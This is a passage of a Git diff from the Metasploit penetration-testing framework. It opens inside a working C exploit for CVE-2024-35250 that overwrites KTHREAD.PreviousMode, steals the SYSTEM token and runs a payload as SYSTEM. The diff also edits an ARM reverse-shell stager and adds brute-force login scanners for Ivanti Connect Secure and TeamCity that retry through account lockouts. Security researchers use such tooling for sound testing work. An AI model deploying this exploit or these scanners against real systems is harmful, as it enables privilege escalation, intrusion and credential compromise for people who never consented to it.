(Ret != NULL) + { + return Ret; + } + } + + // + // Leak Current _EPROCESS kernel address + // + hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId()); + if (hCurproc != NULL) + { + Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc); + if (Ret != NULL) + { + return Ret; + } + } + + // + // Get necessary offsets based on Windows Version + // + HMODULE hNtdll = GetModuleHandle("ntdll"); + NtQuerySystemInfo = (fNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation"); + if (NtQuerySystemInfo == NULL) { + return FALSE; + } + + if (!(RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"))) { + return FALSE; + } + + /* get the version to determine the necessary eprocess offsets */ + DWORD dwMajor, dwMinor, dwBuild; + RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild); + if (!ResolveRequirements(dwMajor, dwMinor, dwBuild)) { + return 0; + } + + // + // Initialize input buffer + // + pInBufProperty->Set = KSPROPSETID_DrmAudioStream; + pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET; + pInBufProperty->Id = 0x0; + + // + // Initialize output buffer + // + pSerialHdr->PropertySet = KSPROPSETID_DrmAudioStream; + pSerialHdr->Count = 0x1; + + pSerial->PropertyLength = sizeof(EXPLOIT_DATA1); + pSerial->Id = 0x0; // Should be null + pSerial->PropTypeSet.Set = KSPROPSETID_DrmAudioStream; + pSerial->PropTypeSet.Flags = 0x0; // Should be null + pSerial->PropTypeSet.Id = 0x45; // Irrelevant value + + // + // Intialize fake property data + // + uint64_t ntoskrnl_user_base = 0; + HMODULE outModule = 0; + UINT_PTR ntoskrnlKernelBase = GetKernelModuleAddress("ntoskrnl.exe"); + pOutBufPropertyData->FakeBitmap = (PRTL_BITMAP)AllocateBitmap(sizeof(RTL_BITMAP), ULongLongToPtr64(0x10000000)); + + // + // FakeBitmap initialization for the overwriting KTHREAD.PreviousMode field technique + // + pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20; + pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET); // KTHREAD.PreviousMode field address + pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlClearAllBits")); // This gadget will zeroing KTHREAD.PreviousMode field + + // + // Send property request to trigger the vulnerability + // + res = DeviceIoControl(hDrmDevice, IOCTL_KS_PROPERTY, pInBufProperty, sizeof(InBuffer), pSerialHdr, sizeof(UnserializePropertySetRequest), NULL, NULL); + + uint8_t mode = UserMode; // We set UserMode in restoring thread state phase to avoid BSOD in further process creations + Write64(ULongLongToPtr64(Curproc + g_pEprocessOffsets->Token), ULongLongToPtr64(Sysproc + g_pEprocessOffsets->Token), /* Token size */ 0x8); + + // + // Restoring KTHREAD.PreviousMode phase + // + Write64(ULongLongToPtr64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET), &mode, sizeof(mode)); + + // + // Execute the payload as NT AUTHORITY\SYSTEM + // + ExecutePayload(pMsfPayload); + + return 0; +} diff --git a/external/source/exploits/CVE-2024-35250/exploit.h b/external/source/exploits/CVE-2024-35250/exploit.h new file mode 100644 index 000000000000..24695c4a0bc5 --- /dev/null +++ b/external/source/exploits/CVE-2024-35250/exploit.h @@ -0,0 +1,115 @@ +#pragma once + +#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) +#define EPROCESS_TOKEN_OFFSET 0x4B8 +#define KTHREAD_PREVIOUS_MODE_OFFSET 0x232 +#define SystemHandleInformation 0x10 +#define SystemModuleInformation 11 +#define SystemHandleInformationSize 0x400000 + + +typedef VOID(__stdcall* fRtlGetNtVersionNumbers)( + DWORD* MajorVersion, + DWORD* MinorVersion, + DWORD* BuildNumber + ); + +typedef NTSTATUS(__stdcall* fNtQuerySystemInformation)( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + +enum _MODE +{ + KernelMode = 0, + UserMode = 1 +}; + +typedef struct SYSTEM_MODULE { + ULONG Reserved1; + ULONG Reserved2; +#ifdef _WIN64 + ULONG Reserved3; +#endif + PVOID ImageBaseAddress; + ULONG ImageSize; + ULONG Flags; + WORD Id; + WORD Rank; + WORD w018; + WORD NameOffset; + CHAR Name[255]; +}SYSTEM_MODULE, * PSYSTEM_MODULE; + +typedef struct SYSTEM_MODULE_INFORMATION { + ULONG ModulesCount; + SYSTEM_MODULE Modules[1]; +} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO +{ +USHORT UniqueProcessId; +USHORT CreatorBackTraceIndex; +UCHAR ObjectTypeIndex; +UCHAR HandleAttributes; +USHORT HandleValue; +PVOID Object; +ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +__inline void * ULongLongToPtr64( const unsigned long long ull ) +{ + return( (void *)(ULONG_PTR)ull ); +} + +// +// Declare some functions from ntdll.dll +// +extern "C" +{ + NTSTATUS RtlGUIDFromString(PUNICODE_STRING GuidString, GUID* Guid); + + NTSTATUS RtlStringFromGUID(REFGUID Guid, PUNICODE_STRING GuidString); + + NTSTATUS NtImpersonateThread(HANDLE ThreadHandle, HANDLE ThreadToImpersonate, SECURITY_QUALITY_OF_SERVICE* SecurityQualityOfService); + + NTSTATUS NtWriteVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL ); +} + + +#define DRM_DEVICE_OBJECT L"\\\\?\\root#system#0000#{ffbb6e3f-ccfe-4d84-90d9-421418b03a8e}\\{eec12db6-ad9c-4168-8658-b03daef417fe}&{abd61e00-9350-47e2-a632-4438b90c6641}" + +//DEFINE_GUIDSTRUCT("3C0D501A-140B-11D1-B40F-00A0C9223196", KSNAME_Server); +//#define KSNAME_Server DEFINE_GUIDNAMED(KSNAME_Server) + +//DEFINE_GUIDSTRUCT("3C0D501B-140B-11D1-B40F-00A0C9223196", KSPROPSETID_Service); +//#define KSPROPSETID_Service DEFINE_GUIDNAMED(KSPROPSETID_Service) + +// +// Declare data structures related to the exploit +// +typedef struct _RTL_BITMAP +{ + DWORD SizeOfBitMap; + PVOID Buffer; +}RTL_BITMAP, *PRTL_BITMAP; + +#pragma pack(1) +typedef struct _EXPLOIT_DATA1 +{ + PRTL_BITMAP FakeBitmap; +}EXPLOIT_DATA1; + +typedef struct _EXPLOIT_DATA2 +{ + char pad[0x20]; + PVOID ptr_ArbitraryFunCall; // kCFG bypass gadget function, for example RtlSetAllBits +} EXPLOIT_DATA2; diff --git a/external/source/shellcode/linux/armle/stager_sock_reverse.s b/external/source/shellcode/linux/armle/stager_sock_reverse.s index bb4f0a303abb..597601701edd 100644 --- a/external/source/shellcode/linux/armle/stager_sock_reverse.s +++ b/external/source/shellcode/linux/armle/stager_sock_reverse.s @@ -75,10 +75,10 @@ _start: @ ssize_t recv(int sockfd, void *buf, size_t len, int flags); add r7,#99 @ __NR_recv mov r1,r0 @ *buf - mov r0,r12 @ sockfd mov r3,#0 @ flags @ remove blocksize from total length loop: + mov r0,r12 @ sockfd ldr r2,[sp,#0] sub r2,#1000 str r2,[sp,#0] diff --git a/lib/metasploit/framework/command/console.rb b/lib/metasploit/framework/command/console.rb index 3c476574289c..d104a042d33b 100644 --- a/lib/metasploit/framework/command/console.rb +++ b/lib/metasploit/framework/command/console.rb @@ -92,7 +92,6 @@ def driver_options driver_options['ModulePath'] = options.modules.path driver_options['Plugins'] = options.console.plugins driver_options['Readline'] = options.console.readline - driver_options['RealReadline'] = options.console.real_readline driver_options['Resource'] = options.console.resources driver_options['XCommands'] = options.console.commands diff --git a/lib/metasploit/framework/credential_collection.rb b/lib/metasploit/framework/credential_collection.rb index de9135b93234..628b77569e15 100644 --- a/lib/metasploit/framework/credential_collection.rb +++ b/lib/metasploit/framework/credential_collection.rb @@ -212,6 +212,23 @@ class CredentialCollection < PrivateCredentialCollection # @return [Boolean] attr_accessor :anonymous_login + # @!attribute ignore_private + # Whether to ignore private (password). This is usually set when Kerberos + # or Schannel authentication is requested and the credentials are + # retrieved from cache or from a file. This attribute should be true in + # these scenarios, otherwise validation will fail since the password is not + # provided. + # @return [Boolean] + attr_accessor :ignore_private + + # @!attribute ignore_public + # Whether to ignore public (username). This is usually set when Schannel + # authentication is requested and the credentials are retrieved from a + # file (certificate). This attribute should be true in this case, + # otherwise validation will fail since the password is not provided. + # @return [Boolean] + attr_accessor :ignore_public + # @option opts [Boolean] :blank_passwords See {#blank_passwords} # @option opts [String] :pass_file See {#pass_file} # @option opts [String] :password See {#password} @@ -250,6 +267,15 @@ def each_filtered alias each each_filtered def each_unfiltered(&block) + if ignore_private + if ignore_public + yield Metasploit::Framework::Credential.new(public: nil, private: nil, realm: realm) + else + yield Metasploit::Framework::Credential.new(public: username, private: nil, realm: realm) + end + return + end + prepended_creds.each { |c| yield c } if anonymous_login @@ -442,14 +468,14 @@ def empty? # # @return [Boolean] def has_users? - username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty? + username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty? || !!ignore_public end # Returns true when there are any private values set # # @return [Boolean] def has_privates? - super || userpass_file.present? || user_as_pass + super || userpass_file.present? || user_as_pass || !!ignore_private end end diff --git a/lib/metasploit/framework/hashes.rb b/lib/metasploit/framework/hashes.rb index a489e5a42566..ede20d1f5624 100644 --- a/lib/metasploit/framework/hashes.rb +++ b/lib/metasploit/framework/hashes.rb @@ -126,6 +126,8 @@ def self.identify_hash(hash) return 'vnc' when hash =~ /^\$pbkdf2-sha256\$[0-9]+\$[a-z0-9\/.]+\$[a-z0-9\/.]{43}$/i return 'pbkdf2-sha256' + when hash =~ /^\$sntp-ms\$[\da-fA-F]{32}\$[\da-fA-F]{96}$/ + return 'timeroast' end '' end diff --git a/lib/metasploit/framework/login_scanner/ivanti_login.rb b/lib/metasploit/framework/login_scanner/ivanti_login.rb new file mode 100644 index 000000000000..8a172b94064a --- /dev/null +++ b/lib/metasploit/framework/login_scanner/ivanti_login.rb @@ -0,0 +1,194 @@ +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + # Ivanti Login Scanner supporting + # - User Login + # - Admin Login + class Ivanti < HTTP + + DEFAULT_SSL_PORT = 443 + LIKELY_PORTS = [443] + LIKELY_SERVICE_NAMES = [ + 'Ivanti Connect Secure' + ] + PRIVATE_TYPES = [:password] + REALM_KEY = nil + + def initialize(scanner_config, admin) + @admin = admin + super(scanner_config) + end + + def check_setup + request_params = { + 'method' => 'GET', + 'uri' => normalize_uri('/dana-na/auth/url_default/welcome.cgi') + } + + res = send_request(request_params) + + if res && res.code == 200 && res.body&.include?('Ivanti Connect Secure') + return false + end + + 'Application might not be Ivanti Connect Secure, please check' + end + + def create_admin_request(username, password, token, protocol, peer) + { + 'method' => 'POST', + 'uri' => normalize_uri('/dana-na/auth/url_admin/login.cgi'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => + { + 'Origin' => "#{protocol}://#{peer}", + 'Referer' => "#{protocol}://#{peer}/dana-na/auth/url_admin/welcome.cgi" + }, + 'vars_post' => { + tz_offset: '60', + xsauth_token: token, + username: username, + password: password, + realm: 'Admin+Users', + btnSubmit: 'Sign+In' + + }, + 'encode_params' => false + } + end + + def do_admin_logout(cookies) + admin_page_res = send_request({ 'method' => 'GET', 'uri' => normalize_uri('/dana-admin/misc/admin.cgi?'), 'cookie' => cookies }) + admin_page_s = admin_page_res.to_s + re = /xsauth=[a-z0-9]{32}/ + xsauth = re.match(admin_page_s) + + return nil if xsauth.nil? + + send_request({ 'method' => 'GET', 'uri' => normalize_uri('/dana-na/auth/logout.cgi?' + xsauth[0]), 'cookie' => cookies }) + end + + def get_token + res = send_request({ + 'uri' => normalize_uri('/dana-na/auth/url_admin/welcome.cgi') + }) + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil? + + html_document = res.get_html_document + html_document.xpath('//input[@id="xsauth_token"]/@value')&.text + end + + def do_admin_login(username, password) + token = get_token + + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if token.blank? + + protocol = ssl ? 'https' : 'http' + peer = "#{host}:#{port}" + admin_req = create_admin_request(username, password, token, protocol, peer) + begin + res = send_request(admin_req) + rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e } + end + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil? + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 302 + + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unexpected response' } if !res.headers&.key?('location') + + return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } if res.headers['location'] == '/dana-na/auth/url_admin/welcome.cgi?p=admin%2Dconfirm' + + if res.headers['location'] == '/dana-admin/misc/admin.cgi' + do_admin_logout(res.get_cookies) + return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } + end + + return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: res.to_s } + end + + def create_user_request(username, password, protocol, peer) + { + 'method' => 'POST', + 'uri' => normalize_uri('/dana-na/auth/url_default/login.cgi'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => + { + 'Origin' => "#{protocol}://#{peer}", + 'Referer' => "#{protocol}://#{peer}/dana-na/auth/url_default/welcome.cgi" + }, + 'vars_post' => + { + tz_offset: '', + win11: '', + clientMAC: '', + username: username, + password: password, + realm: 'Users', + btnSubmit: 'Sign+In' + }, + 'encode_params' => false + } + end + + def do_logout(cookies) + send_request({ 'uri' => normalize_uri('/dana-na/auth/logout.cgi?delivery=psal'), 'cookie' => cookies }) + end + + def do_login(username, password) + protocol = ssl ? 'https' : 'http' + peer = "#{host}:#{port}" + user_req = create_user_request(username, password, protocol, peer) + begin + res = send_request(user_req) + rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e } + end + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil? + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 302 + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unexpected response' } if !res.headers&.key?('location') + + if res.headers['location'] == '/dana-na/auth/url_default/welcome.cgi?p=ip%2Dblocked' + sleep(2 * 60) # 2 minutes + res = send_request(user_req) + end + + return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } if res.headers['location'] == '/dana-na/auth/url_default/welcome.cgi?p=user%2Dconfirm' + + if res.headers['location'] == '/dana/home/starter0.cgi?check=yes' + do_logout(res.get_cookies) + return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } + else + return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: res.to_s } + end + end + + # Attempts to login to the server. + # + # @param [Metasploit::Framework::Credential] credential The credential information. + # @return [Result] A Result object indicating success or failure + def attempt_login(credential) + # focus on creating Result object, pass it to #login routine and return Result object + result_options = { + credential: credential, + host: @host, + port: @port, + protocol: 'tcp', + service_name: 'ivanti' + } + + if @admin + login_result = do_admin_login(credential.public, credential.private) + else + login_result = do_login(credential.public, credential.private) + end + + result_options.merge!(login_result) + Result.new(result_options) + end + + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/teamcity.rb b/lib/metasploit/framework/login_scanner/teamcity.rb new file mode 100644 index 000000000000..6589ac5fcb55 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/teamcity.rb @@ -0,0 +1,298 @@ +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with JetBrains TeamCity instances. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class TeamCity < HTTP + + module Crypto + # https://github.com/openssl/openssl/blob/a08a145d4a7e663dd1e973f06a56e983a5e916f7/crypto/rsa/rsa_pk1.c#L125 + # https://datatracker.ietf.org/doc/html/rfc3447#section-7.2.1 + def pkcs1pad2(text, n) + raise ArgumentError, "Cannot pad the text: '#{text.inspect}'" unless text.is_a?(String) + raise ArgumentError, "Invalid message length: '#{n.inspect}'" unless n.is_a?(Integer) + + bytes_per_char = two_byte_chars?(text) ? 2 : 1 + if n < ((bytes_per_char * text.length) + 11) + raise ArgumentError, 'Message too long' + end + + ba = Array.new(n, 0) + n -= 1 + ba[n] = text.length + + i = text.length - 1 + + while i >= 0 && n > 0 + char_code = text[i].ord + i -= 1 + + num_bytes = bytes_per_char + + while num_bytes > 0 + next_byte = char_code % 0x100 + char_code >>= 8 + + n -= 1 + ba[n] = next_byte + + num_bytes -= 1 + end + end + n -= 1 + ba[n] = 0 + + while n > 2 + n -= 1 + ba[n] = rand(1..255) # Can't be a null byte. + end + + n -= 1 + ba[n] = 2 + n -= 1 + ba[n] = 0 + + ba.pack("C*").unpack1("H*").to_i(16) + end + + # @param [String] modulus + # @param [String] exponent + # @param [String] text + # @return [String] + def rsa_encrypt(modulus, exponent, text) + n = modulus.to_i(16) + e = exponent.to_i(16) + + padded_as_big_int = pkcs1pad2(text, (n.bit_length + 7) >> 3) + encrypted = padded_as_big_int.to_bn.mod_exp(e, n) + h = encrypted.to_s(16) + + h.length.odd? ? h.prepend('0') : h + end + + def two_byte_chars?(str) + raise ArgumentError, 'Unable to check char size for non-string value' unless str.is_a?(String) + + str.each_codepoint do |codepoint| + return true if codepoint >> 8 > 0 + end + + false + end + + def max_data_size(str) + raise ArgumentError, 'Unable to get maximum data size for non-string value' unless str.is_a?(String) + + # Taken from TeamCity's login page JavaScript sources. + two_byte_chars?(str) ? 58 : 116 + end + + # @param [String] text The text to encrypt. + # @param [String] public_key The hex representation of the public key to use. + # @return [String] A string blob. + def encrypt_data(text, public_key) + raise ArgumentError, "Cannot encrypt the provided data: '#{text.inspect}'" unless text.is_a?(String) + raise ArgumentError, "Cannot encrypt data with the public key: '#{public_key.inspect}'" unless public_key.is_a?(String) + + exponent = '10001' + e = [] + utf_text = text.dup.force_encoding(::Encoding::UTF_8) + g = max_data_size(utf_text) + + c = 0 + while c < utf_text.length + b = [utf_text.length, c + g].min + + a = utf_text[c..b] + + encrypt = rsa_encrypt(public_key, exponent, a) + e.push(encrypt) + c += g + end + + e.join('') + end + end + + include Crypto + + DEFAULT_PORT = 8111 + LIKELY_PORTS = [8111] + LIKELY_SERVICE_NAMES = [ + # Comes from nmap 7.95 on MacOS + 'skynetflow', + 'teamcity' + ] + PRIVATE_TYPES = [:password] + REALM_KEY = nil + + LOGIN_PAGE = 'login.html' + LOGOUT_PAGE = 'ajax.html?logout=1' + SUBMIT_PAGE = 'loginSubmit.html' + + class TeamCityError < StandardError; end + class StackLevelTooDeepError < TeamCityError; end + class NoPublicKeyError < TeamCityError; end + class PublicKeyExpiredError < TeamCityError; end + class DecryptionError < TeamCityError; end + class ServerNeedsSetupError < TeamCityError; end + + # Checks if the target is JetBrains TeamCity. The login module should call this. + # + # @return [Boolean] TrueClass if target is TeamCity, otherwise FalseClass + def check_setup + request_params = { + 'method' => 'GET', + 'uri' => normalize_uri(@uri.to_s, LOGIN_PAGE) + } + res = send_request(request_params) + + if res && res.code == 200 && res.body&.include?('Log in to TeamCity') + return false + end + + "Unable to locate \"Log in to TeamCity\" in body. (Is this really TeamCity?)" + end + + # Extract the server's public key from the server. + # @return [Hash] A hash with a status and an error or the server's public key. + def get_public_key + request_params = { + 'method' => 'GET', + 'uri' => normalize_uri(@uri.to_s, LOGIN_PAGE) + } + + begin + res = send_request(request_params) + rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e } + end + + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the TeamCity service' } if res.nil? + + raise ServerNeedsSetupError, 'The server has not performed the initial setup' if res.code == 503 + + html_doc = res.get_html_document + public_key = html_doc.xpath('//input[@id="publicKey"]/@value').text + raise NoPublicKeyError, 'Could not find the TeamCity public key in the HTML document' if public_key.empty? + + { status: :success, proof: public_key } + end + + # Create a login request for the provided credentials. + # @param [String] username The username to create the login request for. + # @param [String] password The password to log in with. + # @param [String] public_key The public key to encrypt the password with. + # @return [Hash] The login request parameter hash. + def create_login_request(username, password, public_key) + { + 'method' => 'POST', + 'uri' => normalize_uri(@uri.to_s, SUBMIT_PAGE), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + username: username, + remember: true, + _remember: '', + submitLogin: 'Log in', + publicKey: public_key, + encryptedPassword: encrypt_data(password, public_key) + } + } + end + + # Try logging in with the provided username, password and public key. + # @param [String] username The username to send the login request for. + # @param [String] password The user's password. + # @param [String] public_key The public key used to encrypt the password. + # @return [Hash] A hash with the status and an error or the response. + def try_login(username, password, public_key, retry_counter = 0) + raise StackLevelTooDeepError, 'try_login stack level too deep!' if retry_counter >= 2 + + login_request = create_login_request(username, password, public_key) + + begin + res = send_request(login_request) + rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e } + end + + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the TeamCity service' } if res.nil? + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 200 + + # Check if the current username is timed out. Sleep if so. + # TODO: This can be improved. The `try_login` method should not block until it can retry credentials. + # This responsibility should fall onto the caller, and the caller should keep track of the tried, locked out and untried sets of credentials, + # and it should be up to the caller and its scheduler algorithm to retry credentials, rather than force this method to block. + # Currently, those building blocks are not available, so this is the approach I have implemented. + timeout = res.body.match(/login only in (?\d+)s/)&.named_captures&.dig('timeout')&.to_i + if timeout + framework_module.print_status "#{@host}:#{@port} - User '#{username}:#{password}' locked out for #{timeout} seconds. Sleeping, and retrying..." if framework_module + sleep(timeout + 1) + return try_login(username, password, public_key, retry_counter + 1) + end + + return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: res } if res.body.match?('Incorrect username or password') + + raise DecryptionError, 'The server failed to decrypt the encrypted password' if res.body.match?('DecryptionFailedException') + raise PublicKeyExpiredError, 'The server public key has expired' if res.body.match?('publicKeyExpired') + + # After filtering out known failures, default to retuning the credential as working. + # This way, people are more likely to notice any incorrect credential reporting going forward and report them, + # the scenarios for which can then be correctly implemented and handled similar to the above. + { status: :success, proof: res } + end + + # Send a logout request for the provided user's headers. + # This header stores the user's cookie. + def logout_with_headers(headers) + logout_params = { + 'method' => 'POST', + 'uri' => normalize_uri(@uri.to_s, LOGOUT_PAGE), + 'headers' => headers + } + + begin + send_request(logout_params) + rescue Rex::ConnectionError => _e + # ignore + end + end + + def attempt_login(credential) + result_options = { + credential: credential, + host: @host, + port: @port, + protocol: 'tcp', + service_name: 'teamcity' + } + + if @public_key.nil? + public_key_result = get_public_key + return Result.new(result_options.merge(public_key_result)) if public_key_result[:status] != :success + + @public_key = public_key_result[:proof] + end + + login_result = try_login(credential.public, credential.private, @public_key) + return Result.new(result_options.merge(login_result)) if login_result[:status] != :success + + # Ensure we log the user out, so that our logged in session does not appear under the user's profile. + logout_with_headers(login_result[:proof].headers) + + result_options[:status] = ::Metasploit::Model::Login::Status::SUCCESSFUL + Result.new(result_options) + end + + private + + attr_accessor :public_key + + end + end + end +end diff --git a/lib/metasploit/framework/parsed_options/console.rb b/lib/metasploit/framework/parsed_options/console.rb index 34aa126633aa..333f3a74520b 100644 --- a/lib/metasploit/framework/parsed_options/console.rb +++ b/lib/metasploit/framework/parsed_options/console.rb @@ -16,7 +16,6 @@ def options options.console.plugins = [] options.console.quiet = false options.console.readline = true - options.console.real_readline = false options.console.resources = [] options.console.subcommand = :run } @@ -54,7 +53,10 @@ def option_parser end option_parser.on('-L', '--real-readline', 'Use the system Readline library instead of RbReadline') do - options.console.real_readline = true + message = "The RealReadline option has been marked as deprecated, and is currently a noop.\n" + message << "If you require this functionality, please use the following link to tell us:\n" + message << ' https://github.com/rapid7/metasploit-framework/issues/19399' + warn message end option_parser.on('-o', '--output FILE', 'Output to the specified file') do |file| diff --git a/lib/metasploit/framework/parsed_options/remote_db.rb b/lib/metasploit/framework/parsed_options/remote_db.rb index 49dd9c466644..5344539bfd42 100644 --- a/lib/metasploit/framework/parsed_options/remote_db.rb +++ b/lib/metasploit/framework/parsed_options/remote_db.rb @@ -13,7 +13,6 @@ def options options.console.local_output = nil options.console.plugins = [] options.console.quiet = false - options.console.real_readline = false options.console.resources = [] options.console.subcommand = :run } diff --git a/lib/metasploit/framework/ssh/platform.rb b/lib/metasploit/framework/ssh/platform.rb index 6d016f27ee9c..8d541ef7b8f6 100644 --- a/lib/metasploit/framework/ssh/platform.rb +++ b/lib/metasploit/framework/ssh/platform.rb @@ -73,13 +73,24 @@ def self.get_platform_info(ssh_socket, timeout: 10) # esxi 6.7 elsif info =~ /sh: id: not found/ info = ssh_socket.exec!("vmware -v\n").to_s + # vcenter 6.7 (photon) + # VMware vCenter Server 8.0.0.10000 + # VMware VirtualCenter 6.7.0 build-19299595 + elsif info =~ /Unknown command: `id'/ + # eventually we'll want to try to shell in via 'shell'. On failure you see: "User 'user_operator' is not authorized to run this command" + # on succeess: "Shell access is granted to " + info = ssh_socket.exec!("api com.vmware.appliance.version1.system.version.get\n\n").to_s + /Product:\s+(?.+)$/ =~ info + /Version:\s+(?[\d\.]+)$/ =~ info + if version && product + info = "#{product.strip} #{version.strip}" + end else info << ssh_socket.exec!("help\n?\n\n\n").to_s end end rescue Timeout::Error end - info end @@ -113,6 +124,8 @@ def self.get_platform_from_info(info) 'mikrotik' when /Arista/i 'arista' + when /VMware vCenter Server/i + 'vcenter' else 'unknown' end diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index b7906c905d33..f8894255e06f 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -32,7 +32,7 @@ def self.get_hash end end - VERSION = "6.4.36" + VERSION = "6.4.49" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index c3710f7156db..9d49ecdd6079 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -623,7 +623,7 @@ def self.options_table(missing, mod, options, indent) ) options.sort_by(&:name).each do |opt| name = opt.name - if mod.datastore.is_a?(Msf::DataStoreWithFallbacks) + if mod.datastore.is_a?(Msf::DataStore) val = mod.datastore[name] else val = mod.datastore[name].nil? ? opt.default : mod.datastore[name] diff --git a/lib/msf/base/sessions/aws_instance_connect_command_shell_bind.rb b/lib/msf/base/sessions/aws_instance_connect_command_shell_bind.rb index 75de6e720451..cb9ab15a8832 100644 --- a/lib/msf/base/sessions/aws_instance_connect_command_shell_bind.rb +++ b/lib/msf/base/sessions/aws_instance_connect_command_shell_bind.rb @@ -76,7 +76,7 @@ def desc end def bootstrap(datastore = {}, handler = nil) - @ssh_command_stream = Net::SSH::CommandStream.new(ssh_connection) + @ssh_command_stream = Net::SSH::CommandStream.new(ssh_connection, session: self, logger: self) @ssh_command_stream.verify_channel # set remote_window_size to 32 which seems to help stability diff --git a/lib/msf/base/sessions/command_shell.rb b/lib/msf/base/sessions/command_shell.rb index bb9b04472aa7..b6fa9556ed1e 100644 --- a/lib/msf/base/sessions/command_shell.rb +++ b/lib/msf/base/sessions/command_shell.rb @@ -202,6 +202,8 @@ def cmd_help(*args) tbl << [key, value] end + tbl << ['.', "Prefix any built-in command on this list with a '.' to execute in the underlying shell (ex: .help)"] + print(tbl.to_s) print("For more info on a specific command, use %grn -h%clr or %grnhelp %clr.\n\n") end @@ -607,8 +609,13 @@ def run_single(cmd) end # Built-in command - if commands.key?(method) - return run_builtin_cmd(method, arguments) + if commands.key?(method) or ( not method.nil? and method[0] == '.' and commands.key?(method[1..-1])) + # Handle overlapping built-ins with actual shell commands by prepending '.' + if method[0] == '.' and commands.key?(method[1..-1]) + return shell_write(cmd[1..-1] + command_termination) + else + return run_builtin_cmd(method, arguments) + end end # User input is not a built-in command, write to socket directly diff --git a/lib/msf/base/sessions/smb.rb 